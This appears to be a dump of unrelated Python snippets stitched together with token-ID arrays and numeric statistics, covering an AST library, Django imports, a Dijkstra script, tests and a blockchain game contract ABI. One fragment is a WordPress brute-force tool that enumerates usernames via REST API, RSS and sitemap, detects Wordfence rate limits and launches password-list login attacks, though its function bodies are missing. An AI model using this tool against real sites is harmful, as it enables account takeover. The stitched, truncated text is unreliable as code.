def _add_default_branch(self, body):
"""Add a default body for this conditional (the `else` branch)."""
assert isinstance(body, CodeStatement)
if isinstance(body, CodeBlock):
self.else_body = body
else:
self.else_body._add(body)
def __len__(self):
"""Return the length of both branches combined."""
return len(self.body) + len(self.else_body)
def _children(self):
"""Yield all direct children of this object."""
if isinstance(self.condition, CodeExpression):
yield self.condition
for codeobj in self.body._children():
yield codeobj
for codeobj in self.else_body._children():
yield codeobj
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
condition = pretty_str(self.condition)
pretty = '{}if ({}):\n'.format(spaces, condition)
pretty += self.body.pretty_str(indent=indent + 2)
if self.else_body:
pretty += '\n{}else:\n'.format(spaces)
pretty += self.else_body.pretty_str(indent=indent + 2)
return pretty
class CodeLoop(CodeControlFlow):
"""This class represents a loop (e.g. `while`, `for`).
Some languages allow loops to define local declarations, as well
as an increment statement.
A loop has only a single branch, its condition plus the body
that should be repeated while the condition holds.
"""
def __init__(self, scope, parent, name):
"""Constructor for loops.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
name (str): The name of the loop statement in the program.
"""
CodeControlFlow.__init__(self, scope, parent, name)
self.declarations = None
self.increment = None
def _set_declarations(self, declarations):
"""Set declarations local to this loop (e.g. `for` variables)."""
assert isinstance(declarations, CodeStatement)
self.declarations = declarations
declarations.scope = self.body
def _set_increment(self, statement):
"""Set the increment statement for this loop (e.g. in a `for`)."""
assert isinstance(statement, CodeStatement)
self.increment = statement
statement.scope = self.body
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
condition = pretty_str(self.condition)
v = self.declarations.pretty_str() if self.declarations else ''
i = self.increment.pretty_str(indent=1) if self.increment else ''
pretty = '{}for ({}; {}; {}):\n'.format(spaces, v, condition, i)
pretty += self.body.pretty_str(indent=indent + 2)
return pretty
class CodeSwitch(CodeControlFlow):
"""This class represents a switch statement.
A switch evaluates a value (its `condition`) and then declares
at least one branch (*cases*) that execute when the evaluated value
is equal to the branch value. It may also have a default branch.
Switches are often one of the most complex constructs of programming
languages, so this implementation might be lackluster.
"""
def __init__(self, scope, parent):
"""Constructor for switches.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
"""
CodeControlFlow.__init__(self, scope, parent, "switch")
self.cases = []
self.default_case = None
def _add_branch(self, value, statement):
"""Add a branch/case (value and statement) to this switch."""
self.cases.append((value, statement))
def _add_default_branch(self, statement):
"""Add a default branch to this switch."""
self.default_case = statement
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
condition = pretty_str(self.condition)
pretty = '{}switch ({}):\n'.format(spaces, condition)
pretty += self.body.pretty_str(indent=indent + 2)
return pretty
class CodeTryBlock(CodeStatement, CodeStatementGroup):
"""This class represents a try-catch block statement.
`try` blocks have a main body of statements, just like regular blocks.
Multiple `catch` blocks may be defined to handle specific types of
exceptions.
Some languages also allow a `finally` block that is executed after
the other blocks (either the `try` block, or a `catch` block, when
an exception is raised and handled).
"""
def __init__(self, scope, parent):
"""Constructor for try block structures.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
"""
CodeStatement.__init__(self, scope, parent)
self.body = CodeBlock(scope, self, explicit=True)
self.catches = []
self.finally_body = CodeBlock(scope, self, explicit=True)
def _set_body(self, body):
"""Set the main body for try block structure."""
assert isinstance(body, CodeBlock)
self.body = body
def _add_catch(self, catch_block):
"""Add a catch block (exception variable declaration and block)
to this try block structure.
"""
assert isinstance(catch_block, self.CodeCatchBlock)
self.catches.append(catch_block)
def _set_finally_body(self, body):
"""Set the finally body for try block structure."""
assert isinstance(body, CodeBlock)
self.finally_body = body
def __len__(self):
"""Return the length of all blocks combined."""
n = len(self.body) + len(self.catches) + len(self.finally_body)
n += sum(map(len, self.catches))
return n
def __repr__(self):
"""Return a string representation of this object."""
return 'try {} {} {}'.format(self.body, self.catches,
self.finally_body)
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
pretty = spaces + 'try:\n'
pretty += self.body.pretty_str(indent=indent + 2)
for block in self.catches:
pretty += '\n' + block.pretty_str(indent)
if len(self.finally_body) > 0:
pretty += '\n{}finally:\n'.format(spaces)
pretty += self.finally_body.pretty_str(indent=indent + 2)
return pretty
###############################################################################
# Helpers
###############################################################################
def pretty_str(something, indent=0):
"""Return a human-readable string representation of an object.
Uses `pretty_str` if the given value is an instance of
`CodeEntity` and `repr` otherwise.
Args:
something: Some value to convert.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
if isinstance(something, CodeEntity):
return something.pretty_str(indent=indent)
else:
return (' ' * indent) + repr(something)
| [
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3788,
290,
3917,
10314,
3696,
357,
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366,
25423,
12340,
... | 2.494655 | 10,290 |
from django.contrib.auth.models import User
from rest_framework import viewsets, status
from rest_framework.response import Response
from rest_framework.permissions import IsAuthenticated, IsAdminUser
from api.serializers import TODOListSerializer
from api.models import TODOList
| [
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4... | 4.028571 | 70 |
# ProgramB.py
print('Hello World')
| [
2,
6118,
33,
13,
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198,
4798,
10786,
15496,
2159,
11537,
198
] | 2.916667 | 12 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
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2... | 2.82 | 50 |
# Never do that! Use one of these instead...
is_even = lambda i : i % 2 == 0
is_even = lambda i : not i & 1
is_odd = lambda i : not is_even(i) | [
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3... | 2.716981 | 53 |
#!/usr/bin/env python
#
# Wordpress Bruteforce Tool
#
# By @random_robbie
#
#
import requests
import json
import sys
import argparse
import re
import os.path
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
session = requests.Session()
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, default="http://wordpress.lan", help="Wordpress URL")
parser.add_argument("-f", "--file", required=True, default="pass.txt" ,help="Password File")
args = parser.parse_args()
url = args.url
passfile = args.file
http_proxy = ""
proxyDict = {
"http" : http_proxy,
"https" : http_proxy,
"ftp" : http_proxy
}
# Grab Wordpress Users via Wordpress JSON api
# Grab Wordpress Users via Sitemap
# Grab Wordpress Users via RSS Feed
# Check we can get to wp-admin login.
# Check URL is wordpress
# Check if wordfence is installed as this limits the logins to 20 per ip
# Test the logins
# Dont no body like dupes.
# Time For Some Machine Learning Quality IF statements.
if basic_checks(url):
print("[+] Confirmed Wordpress Website [+]")
else:
print ("[-] Sorry this is either not a wordpress website or there is a issue blocking wp-admin [-]")
sys.exit(0)
if os.path.isfile(passfile) and os.access(passfile, os.R_OK):
print("[+] Password List Used: "+passfile+" [+]")
else:
print("[-] Either the file is missing or not readable [-]")
sys.exit(0)
# Method Value for which method to enumerate users from
method = "None"
attempts = "None"
# Which method to use for enumeration
if grab_users_api(url):
print("[+] Users found via Rest API [-]")
method = "restapi"
if grab_users_rssfeed(url) and method == "None":
print("[+] Users found via RSS Feed [+]")
method = "rss"
if grab_users_sitemap(url) and method == "None":
print("[+] Users found via Authors Sitemap [-]")
method = "sitemap"
if method == "None":
print ("[-] Oh Shit it seems I was unable to find a method to grab usernames from [-]")
sys.exit(0)
if check_wordfence(url):
print ("[+] Wordfence is installed this will limit the testing to 20 attempts [+]")
attempts = "20"
# Kick off Parsing and attacking
if method == "restapi":
userdata = grab_users_api(url)
attack_restapi(url,attempts,userdata,passfile)
if method == "rss":
userdata = grab_users_rssfeed(url)
attack_rssfeed(url,attempts,userdata,passfile)
if method == "sitemap":
userdata = grab_users_sitemap(url)
attack_sitemap(url,attempts,userdata,passfile)
| [
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14629,
14,
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24330,
21015,
198,
2,
198,
2,
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11748,
2... | 2.720287 | 976 |
import heapq
import time
from os import path
from math import floor
if __name__ == "__main__":
# test case 1, output: {1: 0, 2: 1, 3: 2, 4: 2, 5: 3, 6: 4}
# graph = {
# 1: [(6, 7), (5, 3), (2, 1), (4, 2), (3, 3)],
# 2: [(1, 1), (3, 1), (4, 1), (6, 6)],
# 3: [(1, 3), (2, 1), (6, 2)],
# 4: [(2, 1), (1, 2), (6, 5)],
# 5: [(1, 3), (6, 3)],
# 6: [(1, 7), (3, 2), (2, 6), (4, 5), (5, 3)]
# }
graph = read_graph("Dijkstra.txt")
dedup_edges = set()
for k, _ in graph.items():
for v in _:
dedup_edges.add((k, v[0], v[1]))
dedup_edges.add((v[0], k, v[1]))
assert len(dedup_edges) == sum([len(e) for e in graph.values()])
# graph = {}
# heap = Heap()
# heap.insert((1,0))
# heap.insert((2,0))
# heap.pop()
start_t = time.time()
min_distances,X = get_shortest_paths_heapq(graph)
print(time.time() - start_t)
# print(min_distances)
e = [7, 37, 59, 82, 99, 115, 133, 165, 188, 197]
print(",".join([str(int(min_distances[i])) for i in e]))
start_t = time.time()
min_distances = get_shortest_paths_self_defined_heap(graph, X)
print(time.time() - start_t)
# print(min_distances)
e = [7, 37, 59, 82, 99, 115, 133, 165, 188, 197]
print(",".join([str(int(min_distances[i])) for i in e]))
| [
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198,
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25,
1391,... | 1.942857 | 700 |
import warnings
from collections import Counter, Mapping, Sequence
from numbers import Number
from typing import Dict, List
import numpy as np
import torch
from mmdet.core.mask.structures import BitmapMasks
from torch.nn import functional as F
_step_counter = Counter()
| [
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7295... | 3.714286 | 77 |
# -*- coding: utf-8 -*-
"""Test the terminaltables output adapter."""
from __future__ import unicode_literals
from textwrap import dedent
import pytest
from cli_helpers.compat import HAS_PYGMENTS
from cli_helpers.tabular_output import terminaltables_adapter
if HAS_PYGMENTS:
from pygments.style import Style
from pygments.token import Token
def test_terminal_tables_adapter():
"""Test the terminaltables output adapter."""
data = [['abc', 1], ['d', 456]]
headers = ['letters', 'number']
output = terminaltables_adapter.adapter(
iter(data), headers, table_format='ascii')
assert "\n".join(output) == dedent('''\
+---------+--------+
| letters | number |
+---------+--------+
| abc | 1 |
| d | 456 |
+---------+--------+''')
| [
2,
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298... | 2.498498 | 333 |
#! /usr/bin/env python
# encoding: utf-8
# harald at klimachs.de
import re
from waflib import Utils,Errors
from waflib.Tools import fc,fc_config,fc_scan
from waflib.Configure import conf
from waflib.Tools.compiler_fc import fc_compiler
fc_compiler['aix'].insert(0, 'fc_xlf')
def configure(conf):
conf.find_xlf()
conf.find_ar()
conf.fc_flags()
conf.fc_add_flags()
conf.xlf_flags()
conf.xlf_modifier_platform()
| [
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198,
... | 2.408046 | 174 |
#!/usr/bin/python3
# -*- coding:utf-8 -*-
# __author__ = '__MeGustas__'
from django.test import TestCase
from django.db import connection
from tutorials.create_table.models import *
# Create your tests here.
| [
2,
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198,
198,
6738,
42625,
14208,
13,
9288,
1330,
6208,
20448,
... | 2.864865 | 74 |
import copy
from web3 import Web3
from .utils import utils as hero_utils
CONTRACT_ADDRESS = '0x5f753dcdf9b1ad9aabc1346614d1f4746fd6ce5c'
ABI = """
[
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"heroId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"summonerId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"assistantId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"statGenes","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"visualGenes","type":"uint256"}],"name":"HeroSummoned","type":"event"},
{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},
{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},
{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"HERO_MODERATOR_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"MINTER_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"MODERATOR_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"PAUSER_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"uint256","name":"_statGenes","type":"uint256"},{"internalType":"uint256","name":"_visualGenes","type":"uint256"},
{"internalType":"enum IHeroTypes.Rarity","name":"_rarity","type":"uint8"},
{"internalType":"bool","name":"_shiny","type":"bool"},{"components":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"summonerId","type":"uint256"},{"internalType":"uint256","name":"assistantId","type":"uint256"},{"internalType":"uint16","name":"generation","type":"uint16"},{"internalType":"uint256","name":"createdBlock","type":"uint256"},{"internalType":"uint256","name":"heroId","type":"uint256"},{"internalType":"uint8","name":"summonerTears","type":"uint8"},{"internalType":"uint8","name":"assistantTears","type":"uint8"},{"internalType":"address","name":"bonusItem","type":"address"},{"internalType":"uint32","name":"maxSummons","type":"uint32"},{"internalType":"uint32","name":"firstName","type":"uint32"},{"internalType":"uint32","name":"lastName","type":"uint32"},{"internalType":"uint8","name":"shinyStyle","type":"uint8"}],"internalType":"struct ICrystalTypes.HeroCrystal","name":"_crystal","type":"tuple"}],"name":"createHero","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"uint256","name":"_id","type":"uint256"}],"name":"getHero","outputs":[{"components":[{"internalType":"uint256","name":"id","type":"uint256"},{"components":[{"internalType":"uint256","name":"summonedTime","type":"uint256"},{"internalType":"uint256","name":"nextSummonTime","type":"uint256"},{"internalType":"uint256","name":"summonerId","type":"uint256"},{"internalType":"uint256","name":"assistantId","type":"uint256"},{"internalType":"uint32","name":"summons","type":"uint32"},{"internalType":"uint32","name":"maxSummons","type":"uint32"}],"internalType":"struct IHeroTypes.SummoningInfo","name":"summoningInfo","type":"tuple"},{"components":[{"internalType":"uint256","name":"statGenes","type":"uint256"},{"internalType":"uint256","name":"visualGenes","type":"uint256"},{"internalType":"enum IHeroTypes.Rarity","name":"rarity","type":"uint8"},{"internalType":"bool","name":"shiny","type":"bool"},{"internalType":"uint16","name":"generation","type":"uint16"},{"internalType":"uint32","name":"firstName","type":"uint32"},{"internalType":"uint32","name":"lastName","type":"uint32"},{"internalType":"uint8","name":"shinyStyle","type":"uint8"},{"internalType":"uint8","name":"class","type":"uint8"},{"internalType":"uint8","name":"subClass","type":"uint8"}],"internalType":"struct IHeroTypes.HeroInfo","name":"info","type":"tuple"},{"components":[{"internalType":"uint256","name":"staminaFullAt","type":"uint256"},{"internalType":"uint256","name":"hpFullAt","type":"uint256"},{"internalType":"uint256","name":"mpFullAt","type":"uint256"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint64","name":"xp","type":"uint64"},{"internalType":"address","name":"currentQuest","type":"address"},{"internalType":"uint8","name":"sp","type":"uint8"},{"internalType":"enum IHeroTypes.HeroStatus","name":"status","type":"uint8"}],"internalType":"struct IHeroTypes.HeroState","name":"state","type":"tuple"},{"components":[{"internalType":"uint16","name":"strength","type":"uint16"},{"internalType":"uint16","name":"intelligence","type":"uint16"},{"internalType":"uint16","name":"wisdom","type":"uint16"},{"internalType":"uint16","name":"luck","type":"uint16"},{"internalType":"uint16","name":"agility","type":"uint16"},{"internalType":"uint16","name":"vitality","type":"uint16"},{"internalType":"uint16","name":"endurance","type":"uint16"},{"internalType":"uint16","name":"dexterity","type":"uint16"},{"internalType":"uint16","name":"hp","type":"uint16"},{"internalType":"uint16","name":"mp","type":"uint16"},{"internalType":"uint16","name":"stamina","type":"uint16"}],"internalType":"struct IHeroTypes.HeroStats","name":"stats","type":"tuple"},{"components":[{"internalType":"uint16","name":"strength","type":"uint16"},{"internalType":"uint16","name":"intelligence","type":"uint16"},{"internalType":"uint16","name":"wisdom","type":"uint16"},{"internalType":"uint16","name":"luck","type":"uint16"},{"internalType":"uint16","name":"agility","type":"uint16"},{"internalType":"uint16","name":"vitality","type":"uint16"},{"internalType":"uint16","name":"endurance","type":"uint16"},{"internalType":"uint16","name":"dexterity","type":"uint16"},{"internalType":"uint16","name":"hpSm","type":"uint16"},{"internalType":"uint16","name":"hpRg","type":"uint16"},{"internalType":"uint16","name":"hpLg","type":"uint16"},{"internalType":"uint16","name":"mpSm","type":"uint16"},{"internalType":"uint16","name":"mpRg","type":"uint16"},{"internalType":"uint16","name":"mpLg","type":"uint16"}],"internalType":"struct IHeroTypes.HeroStatGrowth","name":"primaryStatGrowth","type":"tuple"},{"components":[{"internalType":"uint16","name":"strength","type":"uint16"},{"internalType":"uint16","name":"intelligence","type":"uint16"},{"internalType":"uint16","name":"wisdom","type":"uint16"},{"internalType":"uint16","name":"luck","type":"uint16"},{"internalType":"uint16","name":"agility","type":"uint16"},{"internalType":"uint16","name":"vitality","type":"uint16"},{"internalType":"uint16","name":"endurance","type":"uint16"},{"internalType":"uint16","name":"dexterity","type":"uint16"},{"internalType":"uint16","name":"hpSm","type":"uint16"},{"internalType":"uint16","name":"hpRg","type":"uint16"},{"internalType":"uint16","name":"hpLg","type":"uint16"},{"internalType":"uint16","name":"mpSm","type":"uint16"},{"internalType":"uint16","name":"mpRg","type":"uint16"},{"internalType":"uint16","name":"mpLg","type":"uint16"}],"internalType":"struct IHeroTypes.HeroStatGrowth","name":"secondaryStatGrowth","type":"tuple"},{"components":[{"internalType":"uint16","name":"mining","type":"uint16"},{"internalType":"uint16","name":"gardening","type":"uint16"},{"internalType":"uint16","name":"foraging","type":"uint16"},{"internalType":"uint16","name":"fishing","type":"uint16"}],"internalType":"struct IHeroTypes.HeroProfessions","name":"professions","type":"tuple"}],"internalType":"struct IHeroTypes.Hero","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getRoleMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleMemberCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getUserHeroes","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_url","type":"string"},{"internalType":"address","name":"_statScienceAddress","type":"address"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"string","name":"baseTokenURI","type":"string"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"_statScienceAddress","type":"address"}],"name":"setStatScienceAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"components":[{"internalType":"uint256","name":"id","type":"uint256"},{"components":[{"internalType":"uint256","name":"summonedTime","type":"uint256"},{"internalType":"uint256","name":"nextSummonTime","type":"uint256"},{"internalType":"uint256","name":"summonerId","type":"uint256"},{"internalType":"uint256","name":"assistantId","type":"uint256"},{"internalType":"uint32","name":"summons","type":"uint32"},{"internalType":"uint32","name":"maxSummons","type":"uint32"}],"internalType":"struct IHeroTypes.SummoningInfo","name":"summoningInfo","type":"tuple"},{"components":[{"internalType":"uint256","name":"statGenes","type":"uint256"},{"internalType":"uint256","name":"visualGenes","type":"uint256"},{"internalType":"enum IHeroTypes.Rarity","name":"rarity","type":"uint8"},{"internalType":"bool","name":"shiny","type":"bool"},{"internalType":"uint16","name":"generation","type":"uint16"},{"internalType":"uint32","name":"firstName","type":"uint32"},{"internalType":"uint32","name":"lastName","type":"uint32"},{"internalType":"uint8","name":"shinyStyle","type":"uint8"},{"internalType":"uint8","name":"class","type":"uint8"},{"internalType":"uint8","name":"subClass","type":"uint8"}],"internalType":"struct IHeroTypes.HeroInfo","name":"info","type":"tuple"},{"components":[{"internalType":"uint256","name":"staminaFullAt","type":"uint256"},{"internalType":"uint256","name":"hpFullAt","type":"uint256"},{"internalType":"uint256","name":"mpFullAt","type":"uint256"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint64","name":"xp","type":"uint64"},{"internalType":"address","name":"currentQuest","type":"address"},{"internalType":"uint8","name":"sp","type":"uint8"},{"internalType":"enum IHeroTypes.HeroStatus","name":"status","type":"uint8"}],"internalType":"struct IHeroTypes.HeroState","name":"state","type":"tuple"},{"components":[{"internalType":"uint16","name":"strength","type":"uint16"},{"internalType":"uint16","name":"intelligence","type":"uint16"},{"internalType":"uint16","name":"wisdom","type":"uint16"},{"internalType":"uint16","name":"luck","type":"uint16"},{"internalType":"uint16","name":"agility","type":"uint16"},{"internalType":"uint16","name":"vitality","type":"uint16"},{"internalType":"uint16","name":"endurance","type":"uint16"},{"internalType":"uint16","name":"dexterity","type":"uint16"},{"internalType":"uint16","name":"hp","type":"uint16"},{"internalType":"uint16","name":"mp","type":"uint16"},{"internalType":"uint16","name":"stamina","type":"uint16"}],"internalType":"struct IHeroTypes.HeroStats","name":"stats","type":"tuple"},{"components":[{"internalType":"uint16","name":"strength","type":"uint16"},{"internalType":"uint16","name":"intelligence","type":"uint16"},{"internalType":"uint16","name":"wisdom","type":"uint16"},{"internalType":"uint16","name":"luck","type":"uint16"},{"internalType":"uint16","name":"agility","type":"uint16"},{"internalType":"uint16","name":"vitality","type":"uint16"},{"internalType":"uint16","name":"endurance","type":"uint16"},{"internalType":"uint16","name":"dexterity","type":"uint16"},{"internalType":"uint16","name":"hpSm","type":"uint16"},{"internalType":"uint16","name":"hpRg","type":"uint16"},{"internalType":"uint16","name":"hpLg","type":"uint16"},{"internalType":"uint16","name":"mpSm","type":"uint16"},{"internalType":"uint16","name":"mpRg","type":"uint16"},{"internalType":"uint16","name":"mpLg","type":"uint16"}],"internalType":"struct IHeroTypes.HeroStatGrowth","name":"primaryStatGrowth","type":"tuple"},{"components":[{"internalType":"uint16","name":"strength","type":"uint16"},{"internalType":"uint16","name":"intelligence","type":"uint16"},{"internalType":"uint16","name":"wisdom","type":"uint16"},{"internalType":"uint16","name":"luck","type":"uint16"},{"internalType":"uint16","name":"agility","type":"uint16"},{"internalType":"uint16","name":"vitality","type":"uint16"},{"internalType":"uint16","name":"endurance","type":"uint16"},{"internalType":"uint16","name":"dexterity","type":"uint16"},{"internalType":"uint16","name":"hpSm","type":"uint16"},{"internalType":"uint16","name":"hpRg","type":"uint16"},{"internalType":"uint16","name":"hpLg","type":"uint16"},{"internalType":"uint16","name":"mpSm","type":"uint16"},{"internalType":"uint16","name":"mpRg","type":"uint16"},{"internalType":"uint16","name":"mpLg","type":"uint16"}],"internalType":"struct IHeroTypes.HeroStatGrowth","name":"secondaryStatGrowth","type":"tuple"},{"components":[{"internalType":"uint16","name":"mining","type":"uint16"},{"internalType":"uint16","name":"gardening","type":"uint16"},{"internalType":"uint16","name":"foraging","type":"uint16"},{"internalType":"uint16","name":"fishing","type":"uint16"}],"internalType":"struct IHeroTypes.HeroProfessions","name":"professions","type":"tuple"}],"internalType":"struct IHeroTypes.Hero","name":"_hero","type":"tuple"}],"name":"updateHero","outputs":[],"stateMutability":"nonpayable","type":"function"},
